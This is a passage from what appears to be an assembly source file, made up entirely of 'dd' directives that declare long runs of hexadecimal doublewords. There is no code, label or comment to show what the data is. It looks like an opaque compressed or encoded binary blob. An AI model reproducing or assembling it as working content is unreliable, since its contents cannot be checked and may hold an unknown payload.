63A88F3Eh, 0E28459FEh dd 0B8C20510h, 80781F6Ah, 84D8A7Fh, 1DE43400h, 9DA0DBD4h dd 16CF80Fh, 0EA42AD4Ah, 30FF89AFh, 0E100B406h, 78220CABh dd 1DD80680h, 0F100D6Fh, 79A0522Ah, 4ACDB501h, 4B758200h dd 480E91B4h, 703A7BE5h, 7C3300FAh, 2E9DF05Dh, 0B4005657h dd 2092D4ADh, 7AA38BEh, 690F90Fh, 1E8CAB0Dh, 2206DC48h dd 2D5F5D8Ah, 0FD073BAh, 0D1E0A647h, 63C0C1C0h, 0DB00A415h dd 0D9FE5648h, 10EAFAh, 7CAB66F3h, 424CACF2h, 80F4503Dh dd 6290E24Bh, 87946Ch, 0D622EBF1h, 91663C3Bh, 0CC9B5A03h dd 0A1281A75h, 2042C01Ch, 226A105Eh, 0BF05AE39h, 80C1380Fh dd 0E6AD6B69h, 0A326D5h, 0BCFC5B48h, 9D5A169Ch, 5EF4513Fh dd 0C4122FACh, 9914004Fh, 0ECA0BBC0h, 69AA8B00h, 8EC9342Bh dd 9ABF00B7h, 0A2B6DB47h, 22004F13h, 0E20FD07Ah, 0FC18C17h dd 6BBEAADh, 0E834A860h, 3800DF3Bh, 0AA29F986h, 0E0B6476Ch dd 34890CAh, 0B73BE532h, 11205470h, 0C8E3223Dh, 0AF000D78h dd 9EEDCE23h, 0D79A73h, 0CABFABEAh, 4439DA4Bh, 4001DB00h dd 6F6CCC45h, 9DDE0357h, 851CA054h, 0DCC052DBh, 800304D6h dd 0C3C4B094h, 8B3BB0ADh, 7DF57418h, 29A300EBh, 0A652E799h dd 5609A5Dh, 4727518h, 161A30D7h, 4567FEEAh, 55B4571Ch dd 183E5641h, 5874EB85h, 0F5DF24D9h, 6B8E80B4h, 4B82778Ah dd 7868B1Eh, 317614A8h, 537E6E00h, 61DD290Eh, 0D3B30FAFh dd 40405E64h, 3AB1A406h, 2A98D12Ch, 721E3F00h, 0B60F686h dd 0E5B9797Ch, 35879540h, 0D08A3A1Eh, 3E371D07h, 9EFA6E31h dd 400F689Dh, 6C3CB111h, 0E300388Dh, 862B4C53h, 319E09h dd 0ADE6D9BCh, 8CFD5CB6h, 7F0A8900h, 0D8F7A943h, 98470072h dd 8D731AA1h, 5A12CC6Dh, 0A8003B44h, 0B28B43CDh, 13950B45h dd 8C85F74Bh, 1DD8C8ECh, 0A1E3540Bh, 2C2882BDh, 0C55208Dh dd 92161980h, 3000F016h, 0C71EE2E6h, 0B4A81CA4h, 2561456Fh dd 0C294C064h, 295882C8h, 9112037Ch, 90853640h, 2862E0Fh dd 5B840DF1h, 38606CF8h, 90009CEEh, 0FE9D80E3h, 2628D25Fh dd 8C32B4h, 84C785A2h, 0A10043BFh, 576954F9h, 3B9687Dh dd 0FF7530C1h, 0E9919EFBh, 3F76E417h, 5D84FC00h, 2148BC65h dd 6700031h, 0DD32FFE0h, 0FC006DA6h, 1489BDD9h, 756248A2h dd 0BAFE1E64h, 0A49DCF5Fh, 0F9B8CB80h, 82E72AEEh, 136DC258h dd 0C015C283h, 0D99C34h, 23E3422Dh, 7517C630h, 0A95EDCA0h dd 0CC05024Ah, 0A0402EDCh, 86560FF6h, 89494B2h, 0BA5EC9h dd 0AD238048h, 311BCB29h, 160EE7Fh, 0F80644Bh, 0DEE4E700h dd 0F1C870D9h, 0BF3F3B34h, 9B1C300h, 938715B0h, 0B95C99ECh dd 55101F30h, 0EE95BB82h, 0E9C080BAh, 0A013ECh, 0FF040682h dd 93D89E8Ch, 0D0003C90h, 0C38744D5h, 20834Eh, 0E2451FA2h dd 860EB654h, 250CE077h, 98E889F1h, 35D0008Fh, 0B5D362B9h dd 0ACB07EE5h, 0B34B30E8h, 830155F8h, 38F6991Eh, 0F0924605h dd 980B7010h, 12B1FF00h, 0CF4485E3h, 509E1A14h, 216B2524h dd 428FCB80h, 1B20FEEDh, 0F6BDFC1Ah, 19DF3EC2h, 0F0604380h dd 90F12E9Eh, 8300957Ah, 0F8739122h, 0F01D052Fh, 0D314008Bh dd 0DA63A59Ch, 45003E17h, 8CD6A3B4h, 212915h, 12E33C9Ah dd 0A709420Bh, 8AEC9401h, 68C54FA9h, 60AE2930h, 0F5F9807h dd 1814EF6Bh, 0D2DBCCh, 3293D3FDh, 5081B494h, 50EE498h dd 7680B51Eh, 0A1C88060h, 7900EABFh, 0BA4A3A9h, 1788E9Eh dd 4764591Ch, 20A7D221h, 7F1E895Bh, 3E9CA068h, 0D6106500h dd 73654FAh, 0CF1B48C9h, 0B77F0009h, 0DF003A3Eh, 4CEB21F4h dd 1413DCEh, 0B0D752C5h, 74CB2CF2h, 32000740h, 0AB9BF398h dd 0F658182Ah, 12C4B041h, 9222BE97h, 8900F280h, 3043CE2h dd 0C596EF4h, 71987AD6h, 2B01F2ECh, 9D642145h, 7FF38DCh dd 5B15D36h, 3E50B075h, 0D81FBA1Bh, 60001186h, 0F7DBD138h dd 731407EDh, 50BC440Dh, 5429348h, 0B6218DA0h, 0EC1C48h dd 9ED00F70h, 98E78413h, 9BA609A7h, 0E50063F1h, 0A44A6FB2h dd 0CECCFE00h, 56972694h, 590100A0h, 49BBDE42h, 1800293Ch dd 2F161193h, 15E4510h, 4A7CE578h, 0EC3A41F3h, 67011D83h dd 29A48F58h, 9C50472Dh, 55D938h, 4288E810h, 0BB76C062h dd 833A8F78h, 8D8A00A1h, 1063BFACh, 0B83102C7h, 3B12F9A2h dd 805094CAh, 0F07BC7Eh, 8A1B3299h, 38B9EE80h, 8425128Eh dd 4278009Ah, 23628F08h, 0B7092007h, 0B491951Dh, 0BBF0165Bh dd 19A0C0C3h, 9742A201h, 0CB51413h, 44AF14D2h, 9B380058h dd 9532E7A6h, 0FA3D88EAh, 2D0C007Fh, 4714F185h, 0D66F0082h dd 0A49B75E9h, 7000FE89h, 0EC343C0Ah, 0E8A58BDh, 1730B305h dd 392B760h, 0F800C3DEh, 0DF263506h, 1268E4E8h, 128ECD2Eh dd 1A504029h, 80B346B4h, 0D7B3D00h, 0CDC23964h, 8AEE00CEh dd 0DAA7C4C5h, 5C9A0AC0h, 0BFB0AE78h, 10E9AF30h, 3E51E244h dd 2A001229h, 23C3FADEh, 84018E7Fh, 62535FAFh, 4DF0A9D1h dd 3CE972EAh, 0F287D966h, 0BC8531DDh, 95046B49h, 0A82F6EE7h dd 0F5E1CE0h, 0E632DB61h, 2AFB94C0h, 3122649h, 7049287Eh dd 83984D29h, 4FCE32A1h, 53D0C3BDh, 0AD79A900h, 0DCF3ECC7h dd 0E58E00C8h, 0E9A1D8B5h, 50008688h, 98354CE6h, 0E3DCA81h dd 101E3252h, 0F4C87A00h, 57009E74h, 9FD567A0h, 1362645h dd 0FF98916Fh, 30DC303Eh, 21002D4Dh, 97A4A2F4h, 0E32E81h dd 1B034E54h, 88BC02C0h, 0D8587F24h, 72A23680h, 77421FD9h dd 81F40F63h, 622EF047h, 799FF6A0h, 251E4CDDh, 430442ACh dd 0DCB252DCh, 0C0BEDE12h, 1AB1C854h, 610E4903h, 888EB248h dd 5EADEFh, 5D100CFEh, 0E3326B43h, 5FE5E700h, 0DBB45088h dd 0B2BD005Ch, 708219E4h, 0A40720F6h, 0BF408F47h, 2AC41D67h dd 124526C0h, 588A0083h, 0ECE7F1B8h, 8C03772Ch, 0C6BF6AD6h dd 0F099C02Dh, 5AD400A6h, 0B70E95B2h, 5C1616DBh, 0A200BC6Fh dd 0DEE6F1C3h, 0FED8F05Ah, 0CB0F1D74h, 425C92F6h, 0EA54A548h dd 22766851h, 0F540FBBFh, 0DF844ADh, 2705D283h, 15A183E5h dd 964922F8h, 0F4C52000h dd 5E5C311Ch, 0EFA70CC8h, 51A86B8Fh, 0C4548C0Fh, 5DF420EBh dd 1FB324ACh, 3C9F534Fh, 90EDDE12h, 4193DA38h, 73053900h dd 4C7CA713h, 0FBDE3E94h, 0E4692100h, 0C1977930h, 8F0C2D00h dd 4CAC508Dh, 0CD3B0063h, 1B314118h, 0BB00BDDDh, 0DB6F1AF5h dd 0B616DAh, 78A221ADh, 1F8C2D2Ch, 2730FB00h, 57ECD56h dd 861400EBh, 7D85DBF7h, 0E701A2A0h, 0B9D6C45h, 7BF5E65Fh dd 63C5D0h, 0F6F3EB6h, 6795419Bh, 73372600h, 0BB7BA551h dd 14F20087h, 9C235294h, 2F0F8962h, 0B891E833h, 0C47F2h dd 9350592Ah, 9ACA22A0h, 0A6F22318h, 0F41014E8h, 0C1DB74FDh dd 8F2FBE10h, 301E207Bh, 3C5F2119h, 21808308h, 818F3628h dd 160EF941h, 3E84657Fh, 1906D1C3h, 526EB89Ch, 0A5691BE1h dd 391D887Dh, 183972DEh, 70117B96h, 30561C5Ah, 0EA410305h dd 8301091h, 22462178h, 0CDD70056h, 904EBB25h, 91035F6Eh dd 0F0489D4Dh, 2E10B886h, 0CCE1180Bh, 5B1B78F7h, 0C17C0D20h dd 4D6B9970h, 53108332h, 0E798FE8Ch, 687082F7h, 341B28h dd 6714C788h, 8C446042h, 8062B07h, 41B061E4h, 0FCA98D4h dd 0D7922380h, 0F53CCB60h, 0EC005897h, 0E86A3D2Dh, 34A295h dd 0CF0C4A72h, 1F909CACh, 68BEA600h, 61581044h, 6929075Ch dd 0C00CC2A7h, 0BC1E0B65h, 7CDDC100h, 595479FFh, 5DFE0155h dd 3CA17DD1h, 0B782704Bh, 630041FEh, 920813BEh, 3E71527h dd 0CF0D2FB9h, 95B956E1h, 48B6D0FFh, 7E0F2100h, 0DD3A6130h dd 4190000Dh, 691A1644h, 0E20EA1FAh, 28083Eh, 0B38A3A67h dd 5A8FA0B4h, 35540026h, 156DBEF1h, 0AE00144Eh, 7CB76430h dd 751AB57Ah, 72830E9Dh, 61E94017h, 0B4E5E980h, 0D00B94Dh dd 0AE6751C9h, 1A3BF7Fh, 0CCF8713h, 60FF5F55h, 720491BBh dd 0E766BC10h, 0E07DFC80h, 323F28Ch, 46AEF6C4h, 1A00AFD5h dd 0F8266448h, 9EE692h, 8F1F8576h, 0E4EDD71Bh, 59F0D000h dd 2C8F67Bh, 6AFC0EA4h, 0AE4026C7h, 89D11FD6h, 0DE502002h dd 0C0841AB9h, 76CE1B3h, 0BD957D58h, 17A0D057h, 0C477DD6Eh dd 0A9D4AD07h, 28D08F5Fh, 7CC30Fh, 0C9CB027Fh, 0D54C37B3h dd 0B60ECDE6h, 40ABB45Dh, 2FB730A8h, 0CFF60Fh, 98160263h dd 7EDED9CCh, 0FBCE6B0Fh, 34977EC2h, 5F6DA800h, 0C45261h dd 67796838h, 8E2E32F3h, 8BE5180Ah, 0A804F462h, 538069B5h dd 50CF94E9h, 2EFC013h, 7B382132h, 0D0815141h, 70EDA423h dd 9439FB29h, 808D3A39h, 2AB5D66Bh, 0BFDB22h, 6265AE98h dd 7E33230Eh, 0EDF18900h, 21B9466h, 2D500049h, 6C06171Eh dd 0C500E069h, 520354BEh, 75024Ch, 39665915h, 25342BA6h dd 626A5C00h, 0DEE45EE3h, 0CFE69h, 39771509h, 9AC3230Ah dd 1C7F400h, 1D7CFDA3h, 0E5570760h, 0C0A05DE9h, 350EFB4Bh dd 0B5BDAC00h, 247DB21Ch, 3418158Bh, 15008087h, 55DE6BB1h dd 6900E94Ah, 2D0EC819h, 0F4C32232h, 4E00FB96h, 0CD00158Fh dd 0DB90E30Fh, 0E6E76AA8h, 0AD23007Bh, 18918BB1h, 1B00787Fh dd 0FDD5B9FBh, 0ABAF3h, 88B4F795h, 5FC69082h, 9D7DB00h dd 0C0BD9F5Eh, 0A50B0093h, 9A4A58A9h, 270BB13Ah, 8009BBC8h dd 4E304798h, 63D20005h, 84F583D5h, 22EA6C98h, 0B900F179h dd 0C70F86DCh, 3046CF12h, 19D864FCh, 7E0034B3h, 0AF59C1FDh dd 1817863h, 3ACAF1D2h, 0F8B0F482h, 0EE004026h, 2E803EC9h dd 3EFD4D0h, 2F946EB1h, 0BEC01A0Bh, 437B16FFh, 777CB501h dd 38E09D5Ch, 1FC8FAF8h, 82537DEDh, 9E8AE164h, 0C200D444h dd 665FB260h, 18CF2389h, 9865B9A9h, 971781B0h, 790E4107h dd 39C9603Eh, 5691253h, 2A8C1AAEh, 34E40009h, 74700AF7h dd 205DB100h, 0C519CEFh, 9DA900F6h, 65BFE595h, 0CA162A5Bh dd 7E0FAB0h, 0E8B90035h, 0EC67FB87h, 3C0C6BC4h, 8C11DF3Dh dd 0E3C50B73h, 3280D782h, 0A4D8D66Dh, 9B973100h, 709957E7h dd 59F600C6h, 6D2F8DB0h, 0FB03BA36h, 0BCF9F441h, 4B4EA802h dd 0ABBD0AAEh, 0CC07FDh, 0C6F78082h, 89007297h, 0D0A51F34h dd 17D5092h, 162133ADh, 0D0011A41h, 4F486DF8h, 95D9283Ch dd 97189D0Eh, 19A38749h, 0D22F8240h, 0D8BA00FCh, 0D58F68DFh dd 5E001A69h, 393ACBB8h, 2A5026h, 5BE8D685h, 0ECAE0F0Eh dd 0BD3C5300h, 0FCC8CF88h, 0CC360139h, 0A537BAF1h, 65708B89h dd 0DDFE0043h, 0F04474Ah, 0B866C8FCh, 0E9B9B4C0h, 0F73BFDB2h dd 0CCA4B836h, 461E1CA0h, 7E321440h, 0FF2BB6h, 0EFF0367Ch dd 0B0E60A27h, 92F629C0h, 0AC0545h, 0DE4BF338h, 0BD3F1882h dd 1C606200h, 3372758h, 33D90017h, 0ACFA0E7Bh, 897EEC98h dd 0C6648h, 0BCD0F54Ch, 1D9C17Fh, 3680E36Eh, 30120C17h dd 0F400A648h, 42998C46h, 7F75B5Ch, 1698B9B0h, 0AC9F190h dd 0B88C40DBh, 0B63F40EAh, 9FB81B5h, 37AD4ED6h, 90A52620h dd 0C9910C1Ch, 1B31A270h, 8DC830EDh, 0EE001273h, 0ADB9027Eh dd 789E74B4h, 0EB281D44h, 0E104C056h, 0BCDF8EF8h, 7895622Ch dd 0F56EF002h, 5938C03Fh, 38B065FBh, 0D7D080CFh, 0E100507Ah dd 68F495Dh, 0F20CE9h, 0DEA0FE51h, 3D4B30BCh, 106E8102h dd 0E0B76791h, 983404h, 8F9214Fh, 0F07B3F23h, 20EB3A00h dd 922A51FDh, 58D800C1h, 0ADB7DDDBh, 6B18BB54h, 4DACEAC0h dd 0A80759B3h, 0D5F59C00h, 0B859A275h, 0F4578300h, 3261F723h dd 1225589Fh, 65DBAF00h, 0E2625A6Fh, 2853F1Eh, 0B9BA9442h dd 25DE60ACh, 91FF007Bh, 0C574C648h, 61E31CFh, 0F5FF3640h dd 81B63C03h, 0F744C886h, 0E484F950h, 0F4EA0F23h, 0EFE0E1A3h dd 1DD8D0BDh, 3FCEBF00h, 21868BAEh, 2864008Eh, 6E50C4B1h dd 7B004E36h, 0F5421849h, 79E5CAD9h, 0F1A200BEh, 5B760ED7h dd 0B2264CBAh, 0EF03BFC7h, 0A00B919Eh, 6267E0h, 36A9E80Ah dd 0D76D648Bh, 616EC712h, 0EE5D7C47h, 6068B492h, 1FDC2Eh dd 8337403Dh, 3B6B74C1h, 0BA00817Fh, 0EAF334FAh, 2C394Fh dd 6DCE11C3h, 0AFB8E272h, 0D1BB5000h, 9AFF9B1Fh, 0CF1A0E43h dd 8DC0E0CAh, 0F8AED385h, 758CDA09h, 9C6300FDh, 0E10679h dd 0ED1E0C9Ah, 45AA7A2Fh, 2C52323Ah, 0CB0CC531h, 320640ECh dd 0E108AF10h, 404A14A7h, 0B589223Ch, 0E70B80Bh, 0E9178027h dd 0D06CA7h, 0A4CF1560h, 0A5764372h, 0AD85D91Ch, 0ED220C40h dd 79AADA31h, 3EA7A066h, 0A5A03653h, 8D03D290h, 98AA4918h dd 7AE8D086h, 87E5076Fh, 90C6B157h, 0BA809105h, 10778D03h dd 0D7ED0Ah, 0B91C4030h, 0D530D3CAh, 52E1EF00h, 0ECEAC45Bh dd 99C3039Bh, 0E7ABAD2Bh, 0C0F1B6B8h, 0FAA4F01h, 0FBA839FEh dd 1C9D28CCh, 7A1F3634h, 705FC983h, 7B9256D1h, 0BC8B98A0h dd 806E5A5h, 0DF2DF266h, 0D5852A19h, 6D3604B8h, 0C0640B0Eh dd 0D2344728h, 1BE28203h, 0C851C592h, 19BAB41h, 9864282Dh dd 50A5D48Fh, 1773C8B0h, 0F3B7B400h, 0BA0D1995h, 0C0C50E3Eh dd 808D47FAh, 80CE6128h, 0AAF39131h, 1BAB2Fh, 0B7D80347h dd 0B30FF541h, 1EFFF70Ch, 8DA105h, 747ED387h, 0CC79021Ah dd 95764B00h, 18B17D4Ah, 0E3CE03BCh, 933AA2E4h, 0BD9B1000h dd 6EA8791Ah, 15FA58E8h, 0AE048C00h, 29F4243Ch, 9858B900h dd 868A257Fh, 0E68E002Dh, 0C76CDEFFh, 0B3F8B77Ch, 0CBF5FA03h dd 0E16E9DB9h, 0C4030EFh, 380FC4F0h, 2DACF184h, 0D7E10F09h dd 91E77C64h, 40CA6C3Ch, 0C67480FEh, 0E4949C00h, 0E5B8380Eh dd 0D56B00CFh, 7E846C5Bh dd 5D00C74Fh, 198B26A5h, 7D616D4h, 0ECCEFB06h, 2BCF90E8h dd 38003D74h, 0F3844DF4h, 0B34842h, 0BCF799CCh, 88ACBFFAh dd 530DD517h, 8BFF1200h, 4BB5BB6Fh, 984C092Bh, 59093680h dd 5701EA39h, 15296D31h, 0E3E0A9F1h, 0E775B0h, 433FD20Ah dd 0DBDC1183h, 4098F00h, 12B944D4h, 87FEBEh, 8814E06Ah dd 502FEC92h, 70916200h, 0A9C5658Ch, 0B021005Bh, 0E48FB22Eh dd 88007D0Fh, 2A958DADh, 0FCB98251h, 204503CCh, 577194C6h dd 0E85A1B88h, 0F273AE03h, 0F0038DA1h, 0D669A6h, 5CEE4788h dd 2DEFDDDCh, 1C95B403h, 6D6797h, 7F9ADE21h, 38D97A28h dd 30E0410Bh, 0DF4F8005h, 59D366h, 0AE192C26h, 87A1ABFCh dd 626D2715h, 2F400080h, 0D776A6E4h, 0E5DC0061h, 0EE06E807h dd 3606A13Dh, 1D04A41h, 766F250h, 341754A0h, 0F05DD033h dd 0F900B97Bh, 0D429EE4Eh, 30C1F604h, 9F106A7Fh, 0AC0688D7h dd 0AFF34760h, 0E3B40080h, 4E669895h, 4B0048D8h, 0E9F8048Dh dd 0D3A033h, 0A8D428A2h, 0E74197FEh, 81788E3Bh, 5F0F7543h dd 0DC31C012h, 0CF625880h, 20B05086h, 18602C00h, 54725D17h dd 25640E5Ch, 2140373Ch, 0E6F8E868h, 0F23581Dh, 798480F9h dd 0AD9A250Eh, 4E6E0036h, 2FC0EA69h, 0CFFC57D7h, 48CC1E00h dd 0F18AC6A9h, 4E9300E0h, 5511FB2h, 0AF00457Bh, 887466F3h dd 0A015A65Bh, 408ACFBCh, 82F8D403h, 0FA46E60Fh, 0E1D2407Bh dd 7414BD36h, 0EEB200E3h, 79EAD4B8h, 6800D6CDh, 55933060h dd 0C1C8BDh, 32CE083Ch, 863DA541h, 4D9C2E50h, 85CD1400h dd 4AB3502Ch, 0AF8B2430h, 80151F74h, 51A9AD43h, 84487B01h dd 0B7650051h, 74ACBA02h, 0E6396044h, 50083747h, 88D82200h dd 53C75285h, 0AD7200EAh, 3C6365EFh, 3D01320Dh, 0F0290CAFh dd 0D420C373h, 4B5100F8h, 26F370CCh, 871F12A5h, 4A40A720h dd 0DF90058Eh, 0E8734Eh, 85AB3419h, 59CFBE25h, 8A000F76h dd 0CD311655h, 3DD9C6E7h, 980009ACh, 8E2FBBF0h, 0F200DC4Ah dd 1FEC4803h, 7D60D9h, 0CE9D469Eh, 491A9C59h, 1EBC2203h dd 0E0B59880h, 249A94E8h, 89487486h, 70208529h, 463BD612h dd 0A8F3502h, 40B88895h, 3A69248h, 8766B983h, 0E0089DF4h dd 7C402ABh, 994AE1h, 6A4EDC93h, 0F3CDF00h, 6798BC7Fh dd 2D0800E7h, 0A42AAD05h, 1B3C2C84h, 51B28094h, 1D524653h dd 9C2B008Dh, 2F9DA183h, 4F39F236h, 102E8085h, 4EB90F38h dd 0B8D70029h, 171E963Dh, 5707B714h, 0B27B3B9Dh, 0F39EEEE0h dd 0D008008Bh, 684B39B6h, 820E1906h, 20021E51h, 0BA13A2DEh dd 0C5350E0Bh, 0F2E03F77h, 0DAD5DDCFh, 0F1276400h, 377A1D72h dd 77EE01h, 1E62D252h, 2335B758h, 75E02E01h, 0E7C7C02Bh dd 0F3F7ACCh, 6F475324h, 40E88EE5h, 0B55ADEF8h, 0BA0039EDh dd 0F2FF164Eh, 5B981EFh, 826DBBC4h, 0CAB840EEh, 9C23D4DAh dd 0B6B8F801h, 5A27816h, 5528C30h, 0AEFAEC1h, 159000F5h dd 49C54F9Ah, 73B2BF00h, 0ACE6F39Fh, 138F2E3h, 0CFDE89A6h dd 2040933Eh, 24009CF8h, 0E0D603E5h, 3CBCA5A2h, 0D4809EB5h dd 9F1C658Fh, 794C39B0h, 0BFD30332h, 1291E75Dh, 8201C0h dd 0E56AF21Eh, 90C014CDh, 108C3FACh, 1A09006Eh, 0C95145CEh dd 2898AA9Ah, 4E26F3Fh, 6C67BED6h, 6194E86h, 0EE6EAF82h dd 0C43C5841h, 784D458h, 5EC5C000h, 6DC6C116h, 124B0C9h dd 1CAAE8B1h, 741A83Ah, 0E454F5D0h, 6FA601D6h, 0F149790Ah dd 0BB108BE7h, 216D00DEh, 12E9A804h, 794D5Ch, 5983D41Ch dd 0B81CF7A7h, 85949F19h, 68B10096h, 0D548D7Dh, 73D0A03Eh dd 0F405008Ah, 57226F4Ah, 0A2001788h, 6383FCE5h, 1570606Ah dd 8851D21Ch, 383DF118h, 5029DAFAh, 700EC05h, 16618B99h dd 0A86D009Ah, 3153936h, 69018846h, 4823CF70h, 92DC026Bh dd 97FB07A3h, 0B00BD309h, 0B4CB1328h, 37F8F007h, 6500E3B7h dd 643DDBh, 4EC26E7Dh, 0EF8D5A83h, 0BE16D00h, 0D6975821h dd 11460189h, 8F268872h, 4891406Ch, 30009F22h, 2116AE45h dd 120C1A55h, 0C4479A9h, 40114A59h, 80B73638h, 0FBA09893h dd 99D14Fh, 0B5538BE2h, 26D7848Fh, 0AB9EB000h, 609A17D2h dd 0DB58005Bh, 8EF35CB9h, 0FF02BE18h, 80E15A52h, 9ECCC0D0h dd 9A74CBh, 0F92AD9BCh, 0B7FFD811h, 76357C09h, 0A3042077h dd 5C24Eh, 9C3CD129h, 2538416Fh, 84C30E28h, 710AD000h dd 1D2399A5h, 6C5530F9h, 0D69D1478h, 0DA007A72h, 16BD41A1h dd 17CF862h, 42C22255h, 6074E09Bh, 0A8E4B7B8h, 87BCD507h dd 24B1F7Fh, 48F78FDAh, 60C584D4h, 0E122919Ch, 2161D7D8h dd 1598DB08h, 7C200470h, 0D0F300E9h, 9FF7E4EAh, 1800402Ch dd 90F6685Ch, 0BC33C3h, 4E21300Dh, 37527F17h, 0E343D00Ch dd 5868CEh, 11FA2FC7h, 0F14CBF3Dh, 8F3A9D2Eh, 7F600200h dd 0A00F8427h, 0F7DC044h, 3B6BC8C6h, 67D0EC00h, 9D0F305Ah dd 0A0BF38DAh, 7AEABA68h, 662A000Eh, 955F31A9h, 0A03C0865h dd 5A848087h, 37B17241h, 780B005Bh, 1E83450Fh, 2400E106h dd 149CBAFDh, 9DFAC2C5h, 348CE0E0h, 0BFC70B00h, 0EB308187h dd 0FF060354h, 0B6F16414h, 3F684FD8h, 0A80C1800h, 745E593Eh dd 0A27E002Ah, 448C1014h, 3000D7C1h, 96071E3Fh, 0E4640Ch dd 17FC6781h, 0D472A2C5h, 0AC0A791Ch, 0BA2FA002h, 0F8C4ADD3h dd 0B300040Bh, 8C4659E8h, 3A00F356h, 0DEC7E53Bh, 58D59D21h dd 94006B68h, 0DB8592D6h, 71012001h, 0E8B28625h, 9428AF08h dd 0C14CBC00h, 0F4B9DFE4h, 7BD730Ah, 803FC088h, 0F8762D47h dd 79E2FA7Dh, 0CA4105B9h, 380D2FF3h, 98469A20h, 0D5FC9C04h dd 5C2001F5h, 9081857Eh, 0BD32C35Bh, 0E1D18004h, 0BC35DFDEh dd 0D17C0D37h, 0EE088F84h, 0E6FA84A0h, 3D3E9ADFh, 0AEC880E0h dd 465A4102h, 804B5128h, 0CFB88801h, 0CB6E3180h, 50BB1483h dd 2A228703h, 0C106C489h, 3C7F9DCh, 4E5A4590h, 40008590h dd 0EA524B0Ah, 6C517AC3h, 2DA84957h, 11DFE28Ch, 881FBC2Eh dd 0E9B780E0h, 0FEF4CDFh, 1B3E07E0h, 91E21E4Dh, 0B113F746h dd 0A4BC1529h, 0C0158C99h, 6E00ECDFh, 50F1A897h, 904D981h dd 69748DFEh, 1DE6480h, 0BECE060Ch, 4987517Bh, 0F7094E7Fh dd 2724DC15h, 60E33F0Ch, 0BCF1889Ch, 0C148002Fh, 0B31CEE0h dd 28375002h, 21D3F074h, 3B7900D2h, 0FF49B54Eh, 0A80C4644h dd 51BADD20h, 92300024h, 0F134388Ah, 5C6640F8h, 7D212608h dd 0FF920F81h, 5A8795E9h, 0BABF7044h, 8DF2D6CAh, 5D8DC02h dd 416978A8h, 304A4540h, 0C0CE28C8h, 509AE316h, 5BE209B2h dd 240723C2h, 74CDF7FAh, 0BD7C82AEh, 0AD076064h, 88B4B23Bh dd 9532B330h, 0A06E4958h, 0EE00E13Ah, 7B6E5F4h, 9C00E44Dh dd 8A4115CDh, 2A8CF2F0h, 0EC4EDBh, 59AFB297h, 0A4F7DA03h dd 8919BA60h, 0E0AEC643h, 0FEF928DDh, 99FB0E4h, 0D79D4CD6h dd 8C208800h, 0A8C27C9Eh, 901E2EA4h, 3842E6B8h, 503849FCh dd 1FC84E28h, 81A01DA5h, 95359D24h, 0D0E4E0B2h, 0D228D8C1h dd 0C18C75A5h, 0FC49D8C0h, 71DF431Fh, 0B587A440h, 674022Fh dd 5B8AD516h, 4B38319Fh, 21DF8036h, 28CFD7C9h, 60D97411h dd 2E62216Dh, 0CA0F2536h, 424CBA79h, 0E1B9E303h, 2448944Ch dd 0E9360428h, 32D91921h, 2068206Ch, 0AB4CB936h, 72F4104Ch dd 101DFA04h, 6F2A01E5h, 0A8262EC3h, 29DFE202h, 0CB31D7BCh dd 0DFEAB610h, 0F541DD03h dd 0C08956F7h, 0FC3B0742h, 741C0040h, 0CB9327C0h, 15013E2Ah dd 0E7FCF84h, 0E6F80DEBh, 24B94950h, 0A2CD3906h, 0CE1588C7h dd 6BCB127h, 0DD8FEDB3h, 76640418h, 3F01074h, 24F672CDh dd 115C1431h, 9246802Ah, 9144388Ch, 2F7BC08Ch, 0B8983092h dd 0DC24BCE8h, 0CD8714A5h, 0DA13501Bh, 7A10028Ch, 0A05B1496h dd 6E2AA4A0h, 85023992h, 0C173BAB2h, 28F8A0E5h, 0E8B60763h dd 0C0D70033h, 868FC9B2h, 84066FB1h, 54765845h, 0ECB93DD9h dd 373FADA0h, 4798E5E5h, 605D1000h, 9EA9510h, 2B125BE3h dd 40CC5408h, 0DCE5507Ah, 7CA0DF52h, 87460890h, 0E2363307h dd 84C4D821h, 362B5D40h, 0F53FD7D2h, 1BE3006Ch, 0F270768Ch dd 74012C27h, 0A61F425Ch, 22A0F62Bh, 7934638h, 21D63627h dd 4072C418h, 0AC361F69h, 41F30320h, 0CC401DB3h, 3CB85818h dd 0F0FED9h, 3AF54ABEh, 0A37ABA60h, 563BCF16h, 8C82B824h dd 2B2523D1h, 0F1554680h, 5BF73405h, 940216C6h, 8042634Eh dd 527DF692h, 0D1DD603Eh, 5A5C7AC4h, 3750CE61h, 0F434694Dh dd 0B4982Dh, 0D238409Dh, 0A7501D1Fh, 14CD2F06h, 46F08834h dd 362D0291h, 311121ECh, 252B1070h, 72B30336h, 8E31265Ah dd 2F6C8CE4h, 48C0D23Bh, 80C83181h, 48D36458h, 888814C1h dd 0D13634C3h, 38483921h, 2C5C8886h, 0E2063600h, 8541A0D8h dd 9403483Ah, 228F4A3Ah, 660659Dh, 0F395EE07h, 53099898h dd 22E81F32h, 0A0C7B82Ch, 0DE3D4CB4h, 0A17D8Fh, 2E89B9Fh dd 5F198A97h, 0C870F701h, 4EBA442Eh, 0A0108861h, 87253Bh dd 0A33048F3h, 4FE6582Eh, 0D67BDCA4h, 2F05CFF2h, 2DC66C20h dd 3D9134D7h, 43F0D293h, 79E97BD5h, 1F04ECD1h, 0F75037h dd 9007ED6Bh, 0E504967Bh, 0D19ACDBEh, 81DE1C80h, 5C61C52Bh dd 71844074h, 6E39BFBCh, 0D8124000h, 0E89CE057h, 0D26B2CF7h dd 0BE9F804Ch, 0F10542B8h, 8028C048h, 31FA8BF5h, 2F8F0658h dd 8B7509Fh, 1090E154h, 0E4FA943Dh, 5C4B21D8h, 25AC5C10h dd 6C0B600h, 7F20CB3Fh, 0CD776Ah, 0F2B29EC2h, 0A4BA65E2h dd 234254Dh, 0D3E5A31h, 3908407Ah, 0C92730E5h, 7782DAD8h dd 0C1CAEB00h, 54EEFDF5h, 9E283D2Bh, 169C2C5Ch, 0E26441B9h dd 8023D91Dh, 0B240A118h, 488F0AE9h, 46087C10h, 5184FC16h dd 9700C0B0h, 846199F5h, 0E680FA09h, 8B24904Dh, 2CFBFFECh dd 1CEE9688h, 2E0AFC41h, 8094DC1Ch, 4C9E4493h, 9CE27A05h dd 0E4693007h, 0EA9537A8h, 0FAA2A860h, 6758230Ah, 1B28F211h dd 0AB840FB8h, 64E08F5Fh, 6C57C223h, 0E42C1224h, 370E80BDh dd 0A221B9D8h, 59DC12BAh, 1E5880EFh, 0BE0040D1h, 64901277h dd 0D649765Ah, 1F9408F1h, 9D9231C0h, 222C4638h, 2E8E1622h dd 186D0092h, 2BE4AC1Eh, 0DCF61005h, 20D0F2E9h, 58385E5Ah 